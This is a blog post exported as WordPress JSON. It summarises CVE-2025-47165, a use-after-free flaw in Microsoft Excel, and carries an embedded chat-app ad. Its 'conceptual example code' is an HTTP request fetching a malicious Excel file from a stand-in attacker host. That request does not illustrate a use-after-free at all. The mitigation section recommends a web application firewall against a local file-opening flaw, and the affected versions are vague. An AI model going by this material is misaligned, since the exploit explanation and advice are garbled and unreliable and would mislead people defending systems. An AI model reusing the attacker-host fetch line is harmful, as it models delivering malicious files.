{"id":61850,"date":"2025-08-08T06:24:14","date_gmt":"2025-08-08T06:24:14","guid":{"rendered":""},"modified":"2025-10-30T05:20:40","modified_gmt":"2025-10-30T11:20:40","slug":"cve-2025-47165-critical-use-after-free-vulnerability-in-microsoft-office-excel","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-47165-critical-use-after-free-vulnerability-in-microsoft-office-excel\/","title":{"rendered":"<strong>CVE-2025-47165: Critical Use After Free Vulnerability in Microsoft Office Excel<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The Common Vulnerabilities and Exposures (CVE) system has recently identified a new vulnerability, designated as CVE-2025-47165, which poses a significant risk to users of Microsoft Office Excel. This vulnerability stems from a use-after-free flaw that, if successfully exploited, allows an unauthorized attacker to execute code locally. This represents a serious threat to individual users and businesses alike, as unauthorized code execution can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7027-critical-firmware-vulnerability-enabling-arbitrary-memory-writes-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"69913\">lead to potential system<\/a> compromise or data leakage. Given the widespread use of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47168-use-after-free-vulnerability-in-microsoft-office-word-allowing-unauthorized-code-execution\/\"  data-wpil-monitor-id=\"73075\">Microsoft Office<\/a> Excel in businesses, institutions, and personal computing around the globe, understanding and mitigating this vulnerability is of paramount importance.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-47165<br \/>\nSeverity: High (CVSS 7.8)<br \/>\nAttack Vector: Local<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36600-dell-bios-improper-access-control-vulnerability-allows-potential-system-compromise\/\"  data-wpil-monitor-id=\"70215\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2693608906\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47170-use-after-free-vulnerability-in-microsoft-office-word\/\"  data-wpil-monitor-id=\"75401\">Microsoft Office<\/a> Excel | All versions prior to the latest patch<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53770-critical-deserialization-vulnerability-in-microsoft-sharepoint-server\/\"  data-wpil-monitor-id=\"70522\">vulnerability stems from a use-after-free flaw in Microsoft<\/a> Office Excel. A use-after-free flaw occurs when a program continues to use a pointer after it has been freed. In this instance, an attacker can exploit this flaw by crafting a malicious Excel file that, when opened, triggers the use-after-free condition and allows the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54416-arbitrary-command-execution-vulnerability-in-tj-actions-branch-names-github-action\/\"  data-wpil-monitor-id=\"69912\">execute arbitrary<\/a> code locally. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31278-memory-corruption-vulnerability-with-potential-system-compromise\/\"  data-wpil-monitor-id=\"70385\">potentially compromise the system<\/a> or lead to data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3519413797\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a<br \/>\n<strong>conceptual<\/strong><br \/>\n example of how the vulnerability might be exploited. In this case, the attacker would craft a malicious Excel <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55345-arbitrary-file-overwrite-and-remote-code-execution-vulnerability-in-codex-cli\/\"  data-wpil-monitor-id=\"76808\">file with embedded code<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/malicious_file.xls HTTP\/1.1\nHost: attacker.example.com<\/code><\/pre>\n<p>When the victim opens this Excel file, the embedded code is executed, exploiting the use-after-free <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52187-critical-cross-site-scripting-xss-vulnerability-in-getprojectsidea-create-school-management-system-1-0\/\"  data-wpil-monitor-id=\"70214\">vulnerability and compromising the system<\/a>.<\/p>\n<p><strong>Mitigation and Remediation<\/strong><\/p>\n<p>To mitigate this vulnerability, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30379-release-of-invalid-pointer-in-microsoft-office-excel-leading-to-local-code-execution\/\"  data-wpil-monitor-id=\"91939\">Microsoft has released<\/a> a patch which should be applied immediately. Users should ensure they keep their software updated to the latest <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46198-cross-site-scripting-vulnerability-in-grav-versions-1-7-46-to-1-7-48\/\"  data-wpil-monitor-id=\"69911\">version to prevent exploitation of this vulnerability<\/a>. As a temporary mitigation, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to identify and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8059-critical-privilege-escalation-vulnerability-in-b-blocks-wordpress-plugin\/\"  data-wpil-monitor-id=\"76346\">block attempts to exploit this vulnerability<\/a>. However, these measures should be considered temporary, and applying the vendor patch should be the priority.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The Common Vulnerabilities and Exposures (CVE) system has recently identified a new vulnerability, designated as CVE-2025-47165, which poses a significant risk to users of Microsoft Office Excel. This vulnerability stems from a use-after-free flaw that, if successfully exploited, allows an unauthorized attacker to execute code locally. This represents a serious threat to individual users [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[82],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-61850","post","type-post","status-publish","format-standard","hentry","category-uncategorized","vendor-microsoft"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/61850","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=61850"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/61850\/revisions"}],"predecessor-version":[{"id":85123,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/61850\/revisions\/85123"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=61850"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=61850"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=61850"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=61850"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=61850"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=61850"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=61850"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=61850"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=61850"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}